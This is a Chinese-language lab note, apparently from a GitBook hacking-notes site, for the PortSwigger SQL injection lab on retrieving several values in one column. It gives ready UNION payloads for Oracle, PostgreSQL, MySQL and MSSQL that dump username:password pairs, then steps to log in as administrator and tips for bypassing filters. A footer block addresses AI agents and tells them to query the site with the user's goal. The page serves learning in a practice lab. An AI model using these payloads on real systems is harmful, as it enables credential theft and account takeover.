> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# 通过 UNION 攻击在一列中提取多个值

通过 UNION 攻击在一列中提取多个值笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### SQL 注入 UNION 攻击：在单列中检索多个值

**目标：** 恢复 `用户名` 和 `密码` 在单列中拼接，然后在其中进行身份验证 `administrator`.

#### （1）快速前提条件

* 知道 **列数** 由查询返回（参见 `ORDER BY` / `UNION NULL` 测试）。
* 识别响应中返回的是哪些输出列（可见常量）。

#### 2）示例载荷（取决于 DBMS）

> 调整列数（`NULL`/常量）以匹配存在漏洞的查询。

* **Oracle / PostgreSQL（按 `||`连接）——典型请求 2 列：**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL（CONCAT）- 2 列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL（CONCAT 或 +）- 2 列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

或

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **如果原始请求有 3 列（例如）：**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **如果类型不兼容** （UNION 错误）：强制转换/类型转换：
  * PostgreSQL： `username::text`
  * MySQL： `CAST(username AS CHAR)`
  * Oracle： `TO_CHAR(username)`

#### 3）简明步骤

1. 确定 `N` 列（`ORDER BY 1..N`).
2. 确认 `UNION SELECT` 替换为 `NULL`/常量。
3. 注入根据 DBMS 和列数调整后的拼接载荷。
4. 找到 `username:password` 行在响应中。
5. 识别 `administrator:...` 条目，并使用这些凭据登录到身份验证页面。

#### 4）实用说明

* 如果密码是哈希值（例如 bcrypt），直接用于登录将会失败；如果允许，你就需要破解密码，或者确认密码以明文存储（高危安全事件）。
* 如果应用只显示一列，拼接就是正确的方法；如果它渲染多列，则优先使用 `UNION SELECT username, password` 以提高清晰度。
* 如果 `UNION` 被过滤，尝试通过调整空格/注释或函数（`CONCAT`, `CHR`/`CHAR`）来绕过过滤。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
